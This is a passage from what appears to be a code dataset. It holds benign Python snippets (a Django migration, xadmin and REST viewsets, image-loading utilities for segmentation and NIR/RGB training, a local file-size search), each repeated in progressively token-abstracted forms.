o.close()\n return tmpfile, homhash, ix\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]

[ "class Indicator:\r\n\tname = ''\r\n\tdescription = ''\r\n\tsource = ''\r\n\tsourcenote = ''\r\n\tnote = ''\r\n\tdatasource = ''\r\n\turl = ''\r\n\tsource_metadata = ''\r\n\tdata = {}\r\n\r\n\tdef as_json(self):\r\n\t\treturn dict(\r\n\t\t\tname=self.name,\r\n\t\t\tdescription=self.description,\r\n\t\t\tsource=self.source,\r\n\t\t\tsourcenote=self.sourcenote,\r\n\t\t\tnote=self.note,\r\n\t\t\tdatasource=self.datasource,\r\n\t\t\turl=self.url,\r\n\t\t\tsource_metadata = self.source_metadata,\r\n\t\t\tdata=self.data)\r\n", "class Indicator:\n name = ''\n description = ''\n source = ''\n sourcenote = ''\n note = ''\n datasource = ''\n url = ''\n source_metadata = ''\n data = {}\n\n def as_json(self):\n return dict(name=self.name, description=self.description, source=\n self.source, sourcenote=self.sourcenote, note=self.note,\n datasource=self.datasource, url=self.url, source_metadata=self.\n source_metadata, data=self.data)\n", "class Indicator:\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def as_json(self):\n return dict(name=self.name, description=self.description, source=\n self.source, sourcenote=self.sourcenote, note=self.note,\n datasource=self.datasource, url=self.url, source_metadata=self.\n source_metadata, data=self.data)\n", "class Indicator:\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n", "<class token>\n" ]

[ "# say hello to everyone\nprint('Hello Everyone!')\n", "print('Hello Everyone!')\n", "<code token>\n" ]

[ "import numpy as np\r\nimport cv2\r\nimport time\r\nimport os, sys\r\nimport random as rd\r\n\r\n\r\ndef load_path_list(image_path, gt_path, batch_size, train = True):\r\n\r\n \"\"\"\r\n Load all path of image, there is two case in this code\r\n if train == True then load training image\r\n training image calculate there all size and calculate it's validation size\r\n if train == False then load test image\r\n doesn't calculate anythings\r\n path_list : Data File Name List\r\n Train_size : int\r\n Validation_size : int\r\n \"\"\"\r\n\r\n if train:\r\n print(\"Image Load Started..\")\r\n\r\n path_list = os.listdir(gt_path)\r\n \r\n image_size = len(path_list)\r\n Train_size = image_size // batch_size * batch_size\r\n Validation_size = image_size - Train_size\r\n \r\n if Validation_size < 10:\r\n Train_size -= batch_size\r\n Validation_size += batch_size\r\n \r\n print(\"Train data size : \", Train_size)\r\n print(\"Validation data size : \", Validation_size)\r\n else:\r\n path_list = os.listdir(gt_path)\r\n Train_size = 0\r\n Validation_size = 0\r\n print(\"Test data size : \", len(path_list))\r\n\r\n rd.shuffle(path_list)\r\n\r\n\r\n return path_list, Train_size, Validation_size\r\n\r\ndef load_labels(label_path):\r\n \"\"\"\r\n Load labels for VOC2012, Label must be maded txt files and like my label.txt\r\n Label path can be change when run training code , use --label_path\r\n label : { label naem : label color}\r\n index : [ [label color], [label color]]\r\n \"\"\"\r\n\r\n with open(label_path, \"r\") as f:\r\n\r\n lines = f.readlines()\r\n \r\n label = {}\r\n index = []\r\n for i, line in enumerate(lines):\r\n sp = line.split()\r\n label[sp[0]] = [int(sp[1]),int(sp[2]),int(sp[3])]\r\n index.append([int(sp[3]),int(sp[2]),int(sp[1])])\r\n\r\n return label, index\r\n\r\ndef make_label_map(path, label_list):\r\n \"\"\"\r\n make 3D ground Truth image to 1D Labeled image\r\n Images has multi label on each point and I removed last label\r\n Output : [N, H, W]\r\n \"\"\"\r\n \r\n img = []\r\n for name in path:\r\n now = np.zeros((224,224))\r\n im = cv2.resize(cv2.imread(name), (224,224)).tolist()\r\n for y, i in enumerate(im):\r\n for x, j in enumerate(i):\r\n try:\r\n now[y, x] = label_list.index(j)\r\n\r\n except ValueError:\r\n now[y, x] = 0\r\n\r\n img.append(now)\r\n return img\r\n \r\n \r\n\r\n\r\ndef image_load_resize(path):\r\n \"\"\"\r\n make image to 224 * 224 3D image\r\n Output : [N, H, W, C]\r\n \"\"\"\r\n \r\n img = []\r\n for name in path:\r\n \r\n img.append(cv2.resize(cv2.imread(name), (224,224)))\r\n \r\n return img\r\n \r\n\r\n\r\ndef batch(img_path, gt_path,img_list, batch, total_size, label_list):\r\n \"\"\"\r\n Batch Main function\r\n Return image and Label Map\r\n Output : [N, H, W, C], [N, H, W]\r\n \"\"\"\r\n\r\n image_list = [os.path.join(img_path, i) for i in img_list]\r\n gt_list = [os.path.join(gt_path,i) for i in img_list]\r\n\r\n \r\n for i in range(0, total_size, batch):\r\n yield image_load_resize(image_list[i:i+batch]), make_label_map(gt_list[i:i+batch], label_list)\r\n\r\n \r\n", "import numpy as np\nimport cv2\nimport time\nimport os, sys\nimport random as rd\n\n\ndef load_path_list(image_path, gt_path, batch_size, train=True):\n \"\"\"\n Load all path of image, there is two case in this code\n if train == True then load training image\n training image calculate there all size and calculate it's validation size\n if train == False then load test image\n doesn't calculate anythings\n path_list : Data File Name List\n Train_size : int\n Validation_size : int\n \"\"\"\n if train:\n print('Image Load Started..')\n path_list = os.listdir(gt_path)\n image_size = len(path_list)\n Train_size = image_size // batch_size * batch_size\n Validation_size = image_size - Train_size\n if Validation_size < 10:\n Train_size -= batch_size\n Validation_size += batch_size\n print('Train data size : ', Train_size)\n print('Validation data size : ', Validation_size)\n else:\n path_list = os.listdir(gt_path)\n Train_size = 0\n Validation_size = 0\n print('Test data size : ', len(path_list))\n rd.shuffle(path_list)\n return path_list, Train_size, Validation_size\n\n\ndef load_labels(label_path):\n \"\"\"\n Load labels for VOC2012, Label must be maded txt files and like my label.txt\n Label path can be change when run training code , use --label_path\n label : { label naem : label color}\n index : [ [label color], [label color]]\n \"\"\"\n with open(label_path, 'r') as f:\n lines = f.readlines()\n label = {}\n index = []\n for i, line in enumerate(lines):\n sp = line.split()\n label[sp[0]] = [int(sp[1]), int(sp[2]), int(sp[3])]\n index.append([int(sp[3]), int(sp[2]), int(sp[1])])\n return label, index\n\n\ndef make_label_map(path, label_list):\n \"\"\"\n make 3D ground Truth image to 1D Labeled image\n Images has multi label on each point and I removed last label\n Output : [N, H, W]\n \"\"\"\n img = []\n for name in path:\n now = np.zeros((224, 224))\n im = cv2.resize(cv2.imread(name), (224, 224)).tolist()\n for y, i in enumerate(im):\n for x, j in enumerate(i):\n try:\n now[y, x] = label_list.index(j)\n except ValueError:\n now[y, x] = 0\n img.append(now)\n return img\n\n\ndef image_load_resize(path):\n \"\"\"\n make image to 224 * 224 3D image\n Output : [N, H, W, C]\n \"\"\"\n img = []\n for name in path:\n img.append(cv2.resize(cv2.imread(name), (224, 224)))\n return img\n\n\ndef batch(img_path, gt_path, img_list, batch, total_size, label_list):\n \"\"\"\n Batch Main function\n Return image and Label Map\n Output : [N, H, W, C], [N, H, W]\n \"\"\"\n image_list = [os.path.join(img_path, i) for i in img_list]\n gt_list = [os.path.join(gt_path, i) for i in img_list]\n for i in range(0, total_size, batch):\n yield image_load_resize(image_list[i:i + batch]), make_label_map(\n gt_list[i:i + batch], label_list)\n", "<import token>\n\n\ndef load_path_list(image_path, gt_path, batch_size, train=True):\n \"\"\"\n Load all path of image, there is two case in this code\n if train == True then load training image\n training image calculate there all size and calculate it's validation size\n if train == False then load test image\n doesn't calculate anythings\n path_list : Data File Name List\n Train_size : int\n Validation_size : int\n \"\"\"\n if train:\n print('Image Load Started..')\n path_list = os.listdir(gt_path)\n image_size = len(path_list)\n Train_size = image_size // batch_size * batch_size\n Validation_size = image_size - Train_size\n if Validation_size < 10:\n Train_size -= batch_size\n Validation_size += batch_size\n print('Train data size : ', Train_size)\n print('Validation data size : ', Validation_size)\n else:\n path_list = os.listdir(gt_path)\n Train_size = 0\n Validation_size = 0\n print('Test data size : ', len(path_list))\n rd.shuffle(path_list)\n return path_list, Train_size, Validation_size\n\n\ndef load_labels(label_path):\n \"\"\"\n Load labels for VOC2012, Label must be maded txt files and like my label.txt\n Label path can be change when run training code , use --label_path\n label : { label naem : label color}\n index : [ [label color], [label color]]\n \"\"\"\n with open(label_path, 'r') as f:\n lines = f.readlines()\n label = {}\n index = []\n for i, line in enumerate(lines):\n sp = line.split()\n label[sp[0]] = [int(sp[1]), int(sp[2]), int(sp[3])]\n index.append([int(sp[3]), int(sp[2]), int(sp[1])])\n return label, index\n\n\ndef make_label_map(path, label_list):\n \"\"\"\n make 3D ground Truth image to 1D Labeled image\n Images has multi label on each point and I removed last label\n Output : [N, H, W]\n \"\"\"\n img = []\n for name in path:\n now = np.zeros((224, 224))\n im = cv2.resize(cv2.imread(name), (224, 224)).tolist()\n for y, i in enumerate(im):\n for x, j in enumerate(i):\n try:\n now[y, x] = label_list.index(j)\n except ValueError:\n now[y, x] = 0\n img.append(now)\n return img\n\n\ndef image_load_resize(path):\n \"\"\"\n make image to 224 * 224 3D image\n Output : [N, H, W, C]\n \"\"\"\n img = []\n for name in path:\n img.append(cv2.resize(cv2.imread(name), (224, 224)))\n return img\n\n\ndef batch(img_path, gt_path, img_list, batch, total_size, label_list):\n \"\"\"\n Batch Main function\n Return image and Label Map\n Output : [N, H, W, C], [N, H, W]\n \"\"\"\n image_list = [os.path.join(img_path, i) for i in img_list]\n gt_list = [os.path.join(gt_path, i) for i in img_list]\n for i in range(0, total_size, batch):\n yield image_load_resize(image_list[i:i + batch]), make_label_map(\n gt_list[i:i + batch], label_list)\n", "<import token>\n\n\ndef load_path_list(image_path, gt_path, batch_size, train=True):\n \"\"\"\n Load all path of image, there is two case in this code\n if train == True then load training image\n training image calculate there all size and calculate it's validation size\n if train == False then load test image\n doesn't calculate anythings\n path_list : Data File Name List\n Train_size : int\n Validation_size : int\n \"\"\"\n if train:\n print('Image Load Started..')\n path_list = os.listdir(gt_path)\n image_size = len(path_list)\n Train_size = image_size // batch_size * batch_size\n Validation_size = image_size - Train_size\n if Validation_size < 10:\n Train_size -= batch_size\n Validation_size += batch_size\n print('Train data size : ', Train_size)\n print('Validation data size : ', Validation_size)\n else:\n path_list = os.listdir(gt_path)\n Train_size = 0\n Validation_size = 0\n print('Test data size : ', len(path_list))\n rd.shuffle(path_list)\n return path_list, Train_size, Validation_size\n\n\ndef load_labels(label_path):\n \"\"\"\n Load labels for VOC2012, Label must be maded txt files and like my label.txt\n Label path can be change when run training code , use --label_path\n label : { label naem : label color}\n index : [ [label color], [label color]]\n \"\"\"\n with open(label_path, 'r') as f:\n lines = f.readlines()\n label = {}\n index = []\n for i, line in enumerate(lines):\n sp = line.split()\n label[sp[0]] = [int(sp[1]), int(sp[2]), int(sp[3])]\n index.append([int(sp[3]), int(sp[2]), int(sp[1])])\n return label, index\n\n\ndef make_label_map(path, label_list):\n \"\"\"\n make 3D ground Truth image to 1D Labeled image\n Images has multi label on each point and I removed last label\n Output : [N, H, W]\n \"\"\"\n img = []\n for name in path:\n now = np.zeros((224, 224))\n im = cv2.resize(cv2.imread(name), (224, 224)).tolist()\n for y, i in enumerate(im):\n for x, j in enumerate(i):\n try:\n now[y, x] = label_list.index(j)\n except ValueError:\n now[y, x] = 0\n img.append(now)\n return img\n\n\ndef image_load_resize(path):\n \"\"\"\n make image to 224 * 224 3D image\n Output : [N, H, W, C]\n \"\"\"\n img = []\n for name in path:\n img.append(cv2.resize(cv2.imread(name), (224, 224)))\n return img\n\n\n<function token>\n", "<import token>\n\n\ndef load_path_list(image_path, gt_path, batch_size, train=True):\n \"\"\"\n Load all path of image, there is two case in this code\n if train == True then load training image\n training image calculate there all size and calculate it's validation size\n if train == False then load test image\n doesn't calculate anythings\n path_list : Data File Name List\n Train_size : int\n Validation_size : int\n \"\"\"\n if train:\n print('Image Load Started..')\n path_list = os.listdir(gt_path)\n image_size = len(path_list)\n Train_size = image_size // batch_size * batch_size\n Validation_size = image_size - Train_size\n if Validation_size < 10:\n Train_size -= batch_size\n Validation_size += batch_size\n print('Train data size : ', Train_size)\n print('Validation data size : ', Validation_size)\n else:\n path_list = os.listdir(gt_path)\n Train_size = 0\n Validation_size = 0\n print('Test data size : ', len(path_list))\n rd.shuffle(path_list)\n return path_list, Train_size, Validation_size\n\n\ndef load_labels(label_path):\n \"\"\"\n Load labels for VOC2012, Label must be maded txt files and like my label.txt\n Label path can be change when run training code , use --label_path\n label : { label naem : label color}\n index : [ [label color], [label color]]\n \"\"\"\n with open(label_path, 'r') as f:\n lines = f.readlines()\n label = {}\n index = []\n for i, line in enumerate(lines):\n sp = line.split()\n label[sp[0]] = [int(sp[1]), int(sp[2]), int(sp[3])]\n index.append([int(sp[3]), int(sp[2]), int(sp[1])])\n return label, index\n\n\ndef make_label_map(path, label_list):\n \"\"\"\n make 3D ground Truth image to 1D Labeled image\n Images has multi label on each point and I removed last label\n Output : [N, H, W]\n \"\"\"\n img = []\n for name in path:\n now = np.zeros((224, 224))\n im = cv2.resize(cv2.imread(name), (224, 224)).tolist()\n for y, i in enumerate(im):\n for x, j in enumerate(i):\n try:\n now[y, x] = label_list.index(j)\n except ValueError:\n now[y, x] = 0\n img.append(now)\n return img\n\n\n<function token>\n<function token>\n", "<import token>\n<function token>\n\n\ndef load_labels(label_path):\n \"\"\"\n Load labels for VOC2012, Label must be maded txt files and like my label.txt\n Label path can be change when run training code , use --label_path\n label : { label naem : label color}\n index : [ [label color], [label color]]\n \"\"\"\n with open(label_path, 'r') as f:\n lines = f.readlines()\n label = {}\n index = []\n for i, line in enumerate(lines):\n sp = line.split()\n label[sp[0]] = [int(sp[1]), int(sp[2]), int(sp[3])]\n index.append([int(sp[3]), int(sp[2]), int(sp[1])])\n return label, index\n\n\ndef make_label_map(path, label_list):\n \"\"\"\n make 3D ground Truth image to 1D Labeled image\n Images has multi label on each point and I removed last label\n Output : [N, H, W]\n \"\"\"\n img = []\n for name in path:\n now = np.zeros((224, 224))\n im = cv2.resize(cv2.imread(name), (224, 224)).tolist()\n for y, i in enumerate(im):\n for x, j in enumerate(i):\n try:\n now[y, x] = label_list.index(j)\n except ValueError:\n now[y, x] = 0\n img.append(now)\n return img\n\n\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef make_label_map(path, label_list):\n \"\"\"\n make 3D ground Truth image to 1D Labeled image\n Images has multi label on each point and I removed last label\n Output : [N, H, W]\n \"\"\"\n img = []\n for name in path:\n now = np.zeros((224, 224))\n im = cv2.resize(cv2.imread(name), (224, 224)).tolist()\n for y, i in enumerate(im):\n for x, j in enumerate(i):\n try:\n now[y, x] = label_list.index(j)\n except ValueError:\n now[y, x] = 0\n img.append(now)\n return img\n\n\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]

[ "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.5 on 2017-12-05 20:54\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ('users', '0002_employee'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Client',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('created', models.DateTimeField(auto_now_add=True, verbose_name='Criado em')),\n ('modified', models.DateTimeField(auto_now=True, verbose_name='Modificado em')),\n ('name', models.CharField(max_length=255, verbose_name='Nome')),\n ('cpf', models.CharField(max_length=16, verbose_name='CPF')),\n ('rg', models.CharField(max_length=16, verbose_name='RG')),\n ('address', models.TextField(blank=True, null=True, verbose_name='Endereço')),\n ('cellphone', models.TextField(blank=True, null=True, verbose_name='Celular')),\n ('phone', models.TextField(blank=True, null=True, verbose_name='Telefone')),\n (\n 'employee',\n models.ForeignKey(\n on_delete=django.db.models.deletion.DO_NOTHING,\n to='users.Employee',\n verbose_name='Vendedora'\n )\n ),\n ],\n options={\n 'ordering': ['name', 'cpf'],\n },\n ),\n ]\n", "from __future__ import unicode_literals\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = [('users', '0002_employee')]\n operations = [migrations.CreateModel(name='Client', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('created', models.DateTimeField(\n auto_now_add=True, verbose_name='Criado em')), ('modified', models.\n DateTimeField(auto_now=True, verbose_name='Modificado em')), (\n 'name', models.CharField(max_length=255, verbose_name='Nome')), (\n 'cpf', models.CharField(max_length=16, verbose_name='CPF')), ('rg',\n models.CharField(max_length=16, verbose_name='RG')), ('address',\n models.TextField(blank=True, null=True, verbose_name='Endereço')),\n ('cellphone', models.TextField(blank=True, null=True, verbose_name=\n 'Celular')), ('phone', models.TextField(blank=True, null=True,\n verbose_name='Telefone')), ('employee', models.ForeignKey(on_delete\n =django.db.models.deletion.DO_NOTHING, to='users.Employee',\n verbose_name='Vendedora'))], options={'ordering': ['name', 'cpf']})]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = [('users', '0002_employee')]\n operations = [migrations.CreateModel(name='Client', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('created', models.DateTimeField(\n auto_now_add=True, verbose_name='Criado em')), ('modified', models.\n DateTimeField(auto_now=True, verbose_name='Modificado em')), (\n 'name', models.CharField(max_length=255, verbose_name='Nome')), (\n 'cpf', models.CharField(max_length=16, verbose_name='CPF')), ('rg',\n models.CharField(max_length=16, verbose_name='RG')), ('address',\n models.TextField(blank=True, null=True, verbose_name='Endereço')),\n ('cellphone', models.TextField(blank=True, null=True, verbose_name=\n 'Celular')), ('phone', models.TextField(blank=True, null=True,\n verbose_name='Telefone')), ('employee', models.ForeignKey(on_delete\n =django.db.models.deletion.DO_NOTHING, to='users.Employee',\n verbose_name='Vendedora'))], options={'ordering': ['name', 'cpf']})]\n", "<import token>\n\n\nclass Migration(migrations.Migration):\n <assignment token>\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]

[ "import xadmin\r\nfrom .models import Blog,Topic,CollectBookMark\r\n\r\nclass TopicXadmin(object):\r\n '''这是主题的管理类'''\r\n list_display=['owner','topic_name','is_default','is_delete','addtime']\r\n\r\nclass BlogXadmin(object):\r\n '''这是博客的管理类'''\r\n list_display=['author','blog_title','category','blog_topic','is_delete','click_num','thumb_num','comment_num','addtime']\r\n\r\nclass CollectBookMarkXadmin(object):\r\n '''这是收藏夹的管理类'''\r\n list_display=['owner','bookmark_name','is_default','is_delete','addtime']\r\n\r\n#注册\r\nxadmin.site.register(Topic,TopicXadmin)\r\nxadmin.site.register(Blog,BlogXadmin)\r\nxadmin.site.register(CollectBookMark,CollectBookMarkXadmin)\r\n", "import xadmin\nfrom .models import Blog, Topic, CollectBookMark\n\n\nclass TopicXadmin(object):\n \"\"\"这是主题的管理类\"\"\"\n list_display = ['owner', 'topic_name', 'is_default', 'is_delete', 'addtime'\n ]\n\n\nclass BlogXadmin(object):\n \"\"\"这是博客的管理类\"\"\"\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\nxadmin.site.register(Topic, TopicXadmin)\nxadmin.site.register(Blog, BlogXadmin)\nxadmin.site.register(CollectBookMark, CollectBookMarkXadmin)\n", "<import token>\n\n\nclass TopicXadmin(object):\n \"\"\"这是主题的管理类\"\"\"\n list_display = ['owner', 'topic_name', 'is_default', 'is_delete', 'addtime'\n ]\n\n\nclass BlogXadmin(object):\n \"\"\"这是博客的管理类\"\"\"\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\nxadmin.site.register(Topic, TopicXadmin)\nxadmin.site.register(Blog, BlogXadmin)\nxadmin.site.register(CollectBookMark, CollectBookMarkXadmin)\n", "<import token>\n\n\nclass TopicXadmin(object):\n \"\"\"这是主题的管理类\"\"\"\n list_display = ['owner', 'topic_name', 'is_default', 'is_delete', 'addtime'\n ]\n\n\nclass BlogXadmin(object):\n \"\"\"这是博客的管理类\"\"\"\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n\n\nclass TopicXadmin(object):\n <docstring token>\n list_display = ['owner', 'topic_name', 'is_default', 'is_delete', 'addtime'\n ]\n\n\nclass BlogXadmin(object):\n \"\"\"这是博客的管理类\"\"\"\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n\n\nclass TopicXadmin(object):\n <docstring token>\n <assignment token>\n\n\nclass BlogXadmin(object):\n \"\"\"这是博客的管理类\"\"\"\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass BlogXadmin(object):\n \"\"\"这是博客的管理类\"\"\"\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass BlogXadmin(object):\n <docstring token>\n list_display = ['author', 'blog_title', 'category', 'blog_topic',\n 'is_delete', 'click_num', 'thumb_num', 'comment_num', 'addtime']\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n<class token>\n\n\nclass BlogXadmin(object):\n <docstring token>\n <assignment token>\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass CollectBookMarkXadmin(object):\n \"\"\"这是收藏夹的管理类\"\"\"\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass CollectBookMarkXadmin(object):\n <docstring token>\n list_display = ['owner', 'bookmark_name', 'is_default', 'is_delete',\n 'addtime']\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n\n\nclass CollectBookMarkXadmin(object):\n <docstring token>\n <assignment token>\n\n\n<code token>\n", "<import token>\n<class token>\n<class token>\n<class token>\n<code token>\n" ]

[ "#from django_filters.rest_framework import DjangoFilterBackend ; Caso queira que apenas as aplicações selecionadas possuam esse tipo de filtro.\nfrom rest_framework.viewsets import ModelViewSet\nfrom atracoes.models import Atracao\nfrom .serializers import AtracaoSerializer\n\nclass AtracaoViewSet(ModelViewSet):\n queryset = Atracao.objects.all()\n serializer_class = AtracaoSerializer\n #filter_backends = (DjangoFilterBackend,)\n filter_fileds = ['name','description','min_age']", "from rest_framework.viewsets import ModelViewSet\nfrom atracoes.models import Atracao\nfrom .serializers import AtracaoSerializer\n\n\nclass AtracaoViewSet(ModelViewSet):\n queryset = Atracao.objects.all()\n serializer_class = AtracaoSerializer\n filter_fileds = ['name', 'description', 'min_age']\n", "<import token>\n\n\nclass AtracaoViewSet(ModelViewSet):\n queryset = Atracao.objects.all()\n serializer_class = AtracaoSerializer\n filter_fileds = ['name', 'description', 'min_age']\n", "<import token>\n\n\nclass AtracaoViewSet(ModelViewSet):\n <assignment token>\n <assignment token>\n <assignment token>\n", "<import token>\n<class token>\n" ]

[ "\"\"\"\n3. Implementiere einen Suchmodus für Dateigrößen.\n-> Gesucht wird eine Datei mit 3010349 Byte\n\"\"\"\nimport os\n\noutput = open('output7.txt', 'w', encoding='utf-8')\nfor var_root, var_dirs, var_files in os.walk('c:\\\\', topdown=False):\n for var_name in var_files:\n if os.stat(os.path.join(var_root, var_name)).st_size == 3010349:\n print(os.path.join(var_root, var_name), file=output)\noutput.close()", "<docstring token>\nimport os\noutput = open('output7.txt', 'w', encoding='utf-8')\nfor var_root, var_dirs, var_files in os.walk('c:\\\\', topdown=False):\n for var_name in var_files:\n if os.stat(os.path.join(var_root, var_name)).st_size == 3010349:\n print(os.path.join(var_root, var_name), file=output)\noutput.close()\n", "<docstring token>\n<import token>\noutput = open('output7.txt', 'w', encoding='utf-8')\nfor var_root, var_dirs, var_files in os.walk('c:\\\\', topdown=False):\n for var_name in var_files:\n if os.stat(os.path.join(var_root, var_name)).st_size == 3010349:\n print(os.path.join(var_root, var_name), file=output)\noutput.close()\n", "<docstring token>\n<import token>\n<assignment token>\nfor var_root, var_dirs, var_files in os.walk('c:\\\\', topdown=False):\n for var_name in var_files:\n if os.stat(os.path.join(var_root, var_name)).st_size == 3010349:\n print(os.path.join(var_root, var_name), file=output)\noutput.close()\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n" ]

[ "import os\nimport sys\nimport numpy as np\nimport cv2\nimport random\nimport glob\n\nimport chainer\n\n\ndef read_imlist(root_dir, txt_imlist):\n with open(txt_imlist, 'r') as f:\n ret = [os.path.join(root_dir, path.strip()) for path in f.readlines()]\n return ret\n\n\ndef train_test_dataset(train_class_name, args_train, test_class_name, args_test):\n mod_name = os.path.splitext(os.path.basename(__file__))[0]\n mod_path = os.path.dirname(__file__)\n sys.path.insert(0, mod_path)\n train_class = getattr(__import__(mod_name), train_class_name)\n test_class = getattr(__import__(mod_name), test_class_name)\n train = train_class(**args_train)\n test = test_class(**args_test)\n\n return train, test\n\n\nclass TestNIRRGB(chainer.dataset.DatasetMixin):\n def __init__(self, dir_nir, dir_rgb, imlist_nir, imlist_rgb):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n\n nirrgb = np.concatenate((nir[:, :, None], rgb), axis=2)\n nirrgb = nirrgb.transpose(2, 0, 1) / 127.5 - 1.\n\n return nirrgb,\n\n\nclass TestNIR(chainer.dataset.DatasetMixin):\n def __init__(self, dir_nir, imlist_nir):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n\n def __len__(self):\n return len(self.nir)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n nir = nir[None, :, :] / 127.5 - 1.\n\n return nir,\n\n\nclass TestRGB(chainer.dataset.DatasetMixin):\n def __init__(self, dir_rgb, imlist_rgb):\n super().__init__()\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n rgb = rgb.transpose(2, 0, 1) / 127.5 - 1.\n\n return rgb,\n\n\nclass BaseTrain(chainer.dataset.DatasetMixin):\n def __init__(self):\n super().__init__()\n\n def transform(self, x, y):\n c, h, w = x.shape\n if self.augmentation:\n top = random.randint(0, h - self.size - 1)\n left = random.randint(0, w - self.size - 1)\n if random.randint(0, 1):\n x = x[:, :, ::-1]\n y = y[:, :, ::-1]\n else:\n top = (h - self.size) // 2\n left = (w - self.size) // 2\n bottom = top + self.size\n right = left + self.size\n\n x = x[:, top:bottom, left:right]\n y = y[:, top:bottom, left:right]\n\n return x, y\n\n\nclass NIRRGB2RGBCLOUD(BaseTrain):\n def __init__(self, dir_nir, dir_rgb, dir_cloud, imlist_nir, imlist_rgb, *args, **kwargs):\n super().__init__()\n self.nir = read_imlist(dir_nir, imlist_nir)\n self.rgb = read_imlist(dir_rgb, imlist_rgb)\n self.cloud = list(glob.glob(os.path.join(dir_cloud, '*.png')))\n self.size = kwargs.pop('size')\n self.augmentation = kwargs.pop('augmentation')\n\n def __len__(self):\n return len(self.rgb)\n\n def get_example(self, i):\n nir = cv2.imread(self.nir[i], 0).astype(np.float32)\n rgb = cv2.imread(self.rgb[i], 1).astype(np.float32)\n cloud = cv2.imread(random.choice(self.cloud), -1).astype(np.float32)\n\n alpha = cloud[:, :, 3] / 255.\n alpha = np.broadcast_to(alpha[:, :, None], alpha.shape + (3,))\n clouded_rgb = (1. - alpha) * rgb + alpha * cloud[:, :, :3]\n clouded_rgb = np.clip(clouded_rgb, 0., 255.)\n\n nirrgb = np.concatenate((nir[:, :, None], clouded_rgb), axis=2)\n cloud = cloud[:, :, 3]\n rgbcloud = np.concatenate((rgb, cloud[:, :, None]), 